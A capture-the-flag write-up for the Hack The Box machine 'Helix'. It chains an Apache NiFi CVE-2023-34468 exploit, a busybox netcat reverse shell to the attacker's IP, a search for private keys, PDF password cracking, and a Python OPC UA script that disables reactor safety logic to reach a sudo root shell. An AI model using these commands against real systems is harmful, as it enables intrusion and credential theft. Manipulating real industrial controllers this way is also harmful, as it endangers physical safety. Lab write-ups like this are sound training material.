← Back to HTB Reports / 2ubZ3r0

Helix [Medium]

Hack The Box

IP

Private IP

Domain/hostfile

helix.htb flow.helix.htb


Nmap Result

We Performed a Full Port and Service Scan

nmap -p 1-65535 -T4 -A -v $IP
Host is up (0.067s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

About

Helix is a medium-difficulty Linux machine that focuses on industrial control systems, OPC UA interaction, and abuse of insecure maintenance logic within a simulated reactor environment. Initial access is achieved by enumerating virtual hosts and discovering an exposed Apache NiFi instance running on a subdomain. By identifying the vulnerable NiFi version and leveraging a known API Remote Code Execution vulnerability, remote code execution is obtained as the nifi user.

Further enumeration of the host reveals a backed-up SSH private key stored inside the NiFi support bundles directory. Using the recovered key, SSH access is gained as the operator user, providing a foothold on the system. Additional sensitive files in the operator’s home directory include a password-protected PDF operator guide and a reactor control system diagram. After cracking the PDF password, the documentation exposes critical details about the reactor’s OPC UA–based PLC control logic and the conditions required to activate a privileged maintenance operating window.

Privilege escalation revolves around abusing the industrial control logic described in the documentation. Enumeration of listening services reveals a local OPC UA service bound to 127.0.0.1:4840, matching the reactor control interface referenced in the guide. By interacting with the PLC over OPC UA, the attacker can switch the reactor into MAINTENANCE mode, enable TestOverride, and gradually increase the CalibrationOffset variable until the system reaches the narrow maintenance operating window at approximately 295°C or 73 bar, while remaining below hard trip thresholds.

Once the maintenance window becomes active, the operator user is allowed to execute /usr/local/sbin/helix-maint-console via sudo without a password. Combining the manipulated reactor state with the insecure sudo configuration results in full root compromise of the system. Helix highlights realistic attack paths involving exposed industrial management software, OPC UA protocol abuse, insecure operational procedures, sensitive backup exposure, and privilege escalation through unsafe maintenance interfaces.


Foothold | Apache NiFi API Remote Code Execution

We open http://helix.htb/ in Browser

The main page of http://helix.htb/ presents itself as the public website of “Helix Industries Operations Center”, focused on industrial automation and control system engineering. The page mainly contains generic corporate marketing content related to OT infrastructure, control system architecture, industrial network design, telemetry, and compliance documentation.

Several sections reference technologies commonly used in industrial environments, such as Siemens, Rockwell, Modbus TCP, and PROFINET, reinforcing the industrial control system theme of the machine. However, from an attacker’s perspective, the page does not expose any obvious sensitive information, credentials, functionality, or direct attack surface.

No login portals, downloadable files, API endpoints, or interesting parameters were identified on the main website. At this stage, there was nothing immediately useful for exploitation, so further enumeration of subdomains and hidden services was required.

We Enumerated Virtual Hosts Using FFUF

ffuf -u http://10.129.36.xxx -H "Host: FUZZ.helix.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4

We found the subdomain flow

(We add to our hostfile)


We accessed http://flow.helix.htb/ and were automatically redirected to http://flow.helix.htb/nifi/

We accessed the Apache NiFi dashboard and opened the “About” section to identify the running NiFi version and gather information about potential vulnerabilities.

We see Apache nifi Version 1.21.0

What is Apache NiFi?

Apache NiFi is an open-source dataflow automation platform designed to move, process, and transform data between different systems. It provides a web-based interface where administrators can create workflows by connecting processors together.

Common use cases include:

NiFi runs as a Java application and exposes both:

The API allows authenticated users to manage flows, processors, templates, controller services, and execute administrative actions remotely.

We search vor Vulnerabilitys

We found CVE-2023-34468

https://www.sonicwall.com/blog/apache-nifi-code-injection-cve-2023-34468-

Overview

The SonicWall Capture Labs threat research team became aware of the threat CVE-2023-34468, assessed its impact and developed mitigation measures for this vulnerability.

CVE-2023-34468 affects Apache NiFi’s DBCPConnectionPool and HikariCPConnectionPool controller services, allowing an attacker with privileges to create or modify controller services to supply an H2 JDBC Database URL that results in remote code execution. Affected versions are 0.0.2 through 1.21.0; the issue is fixed in 1.22.0, which rejects H2 JDBC URLs by default and adds URL validation. The vulnerability is classified as CWE 94 (Code Injection) and has a CVSS v3.1 base score of 8.8. The EPSS exploitation probability is 77.21% (the 99th percentile), indicating a high near-term likelihood of active exploitation. Exploitation requires the ability to create or modify controller services that reference JDBC drivers and is triggered when NiFi interacts with the configured H2 data source. Consult the official Apache NiFi security advisories and the CVE/NVD entries for authoritative guidance.

Technical Overview

In NiFi 1.21.0, the vulnerability identified as CVE-2023-34468 stems from insufficient validation of the Database Connection URL property within the DBCPProperties.java class. Specifically, at line 40 (Figure 01), the DATABASE_URL property is validated only with StandardValidators.NON_EMPTY_VALIDATOR, which enforces nothing more than non-null and non-empty input. This oversight means that any JDBC connection string provided by an attacker is accepted without scrutiny. Critically, it allows the use of H2 database URLs, which support embedded commands via parameters such as INIT=, enabling arbitrary code execution on the NiFi server.

We found a github POC

https://github.com/imjdl/Apache-NiFi-Api-RCE

We Retrieved the Apache NiFi RCE Exploit Script

wget https://raw.githubusercontent.com/imjdl/Apache-NiFi-Api-RCE/refs/heads/master/exp.py

We start a listener

penelope -p 4444

We Exploited Apache NiFi to Obtain Remote Code Execution

python3 exp.py http://flow.helix.htb/ "busybox nc 10.10.16.xxx 4444 -e /bin/bash"

We got a shell as nifi


Lateral Movement

We Hosted Payloads via a Python HTTP Server

python3 -m http.server 80 

We Downloaded LinPEAS onto the Target Host

wget http://10.10.16.xxx/linpeas.sh 

We Executed LinPEAS for Local Enumeration

bash linpeas.sh

We found operator_id_ed25519.bak

Alternative command

find /opt /etc /var -type f -readable -size +100c -size -10M -exec grep -El "BEGIN.*PRIVATE KEY" {} + 2>/dev/null

We Retrieved the Backed-Up SSH Private Key

cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

We have a private Key

We Enumerated Local User Home Directories

ls /home

We see there is only one other user operator on the System

We Adjusted Permissions on the SSH Private Key

chmod 600 operator_id_ed25519.bak

We Authenticated via SSH Using the Recovered Private Key

ssh operator@helix.htb -i operator_id_ed25519.bak

We got a shell as operator


User Flag

We got the user Flag

cat user.txt


Prepare for Privesc

We Enumerated Sudo Privileges

sudo -l 

We can execute as root /usr/local/sbin/helix-maint-console

We found some files in the home folder

We Downloaded Sensitive Files from the Remote Host

scp -i operator_id_ed25519.bak "operator@helix.htb:/home/operator/control systems diagram.png" .
scp -i operator_id_ed25519.bak "operator@helix.htb:/home/operator/Operator Control & Safety Guide.pdf" .

We Extracted the PDF Password Hash

pdf2john "Operator Control & Safety Guide.pdf" > pdf.hash

We Cracked the PDF Password with John the Ripper

john -wordlist=/usr/share/wordlists/rockyou.txt pdf.hash

We got the PW operator1

control systems diagram.png

The operator guide revealed that the Helix reactor system exposes an OPC UA based PLC interface and that maintenance actions are only accepted when the system is placed into MAINTENANCE mode with TestOverride enabled.

The document also described a narrow maintenance operating window, which opens when the reactor temperature reaches approximately 295°C or the pressure reaches 73 bar, while no safety trip is active. This was the key hint: by connecting to the local OPC UA service, switching the reactor into MAINTENANCE mode, enabling TestOverride, and gradually increasing CalibrationOffset, we could force the system into the required maintenance window.

After checking sudo permissions, we found that the operator user could execute /usr/local/sbin/helix-maint-console as root without a password. Once the maintenance window was active, running this binary via sudo provided the intended privilege escalation path.

We Enumerated Listening TCP Ports

ss -lnt

We see a service is running on 127.0.0.1:4840

We identified that a service was listening on 127.0.0.1:4840, which matched the information found in the operator guide describing the Helix Reactor Control System as an “OPC UA–based PLC”.

This strongly suggested that the reactor control logic was exposed through a local OPC UA service. Since OPC UA commonly uses TCP port 4840, the listening service confirmed that the PLC interface was accessible locally on the target system.

Using the documentation, we were able to identify important control variables such as Mode, TestOverride, and CalibrationOffset, which were later used to interact with the reactor logic and trigger the maintenance operating window.

We Developed an OPC UA Exploit to Trigger the Maintenance Window and Obtain Root Access

cat > /tmp/xpl.py << 'EOF'
#!/usr/bin/env python3

import asyncio
import subprocess
import sys
import os
import signal
from asyncua import Client

async def trigger_hazard():
    url = "opc.tcp://127.0.0.1:4840/helix/"

    async with Client(url=url) as client:
        print("[*] Connected to OPC UA")

        # Node IDs (from your earlier discovery)
        mode_node = client.get_node("ns=2;i=12")
        test_override_node = client.get_node("ns=2;i=13")
        calibration_node = client.get_node("ns=2;i=6")

        print("[*] Setting MAINTENANCE mode + TestOverride")
        await mode_node.write_value("MAINTENANCE")
        await test_override_node.write_value(True)

        print("[*] Boosting CalibrationOffset...")
        for offset in [10.0, 15.0, 20.0, 25.0, 30.0, 35.0, 40.0]:
            await calibration_node.write_value(offset)
            await asyncio.sleep(1.5)

            temp_node = client.get_node("ns=2;i=4")
            pressure_node = client.get_node("ns=2;i=5")
            temp = await temp_node.read_value()
            pressure = await pressure_node.read_value()
            print(f"    Offset: {offset}°C → Temp: {temp}°C | Pressure: {pressure} bar")

            if temp >= 295 or pressure >= 73:
                print("\n[+] HAZARD CONDITION REACHED")
                return True

        print("[-] Could not reach hazard condition")
        return False

def spawn_root_shell():
    """Replace current process with root shell"""
    print("\n[+] Spawning root shell via helix-maint-console...")
    print("[!] Type 'exit' to return to operator\n" + "="*50)

    # Replace current process with sudo command (inherits terminal)
    os.execvp("sudo", ["sudo", "/usr/local/sbin/helix-maint-console"])

async def main():
    print("[*] Helix Root Exploit - Single Terminal Mode\n")

    # First try to trigger the hazard
    triggered = await trigger_hazard()

    if not triggered:
        print("\n[*] Manual trigger incomplete — checking if window already open...")

    # Give safety controller time to open window
    print("\n[*] Waiting for maintenance window to open...")
    for i in range(15):
        await asyncio.sleep(1)
        print(f"    Checking... ({i+1}/15)")

    # Spawn root shell (replaces this script)
    spawn_root_shell()

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[-] Interrupted")
        sys.exit(1)
EOF

We Executed the OPC UA Maintenance Window Exploit

python3 /tmp/xpl.py

We got a root shell


Root Flag

We got the root Flag

cat /root/root.txt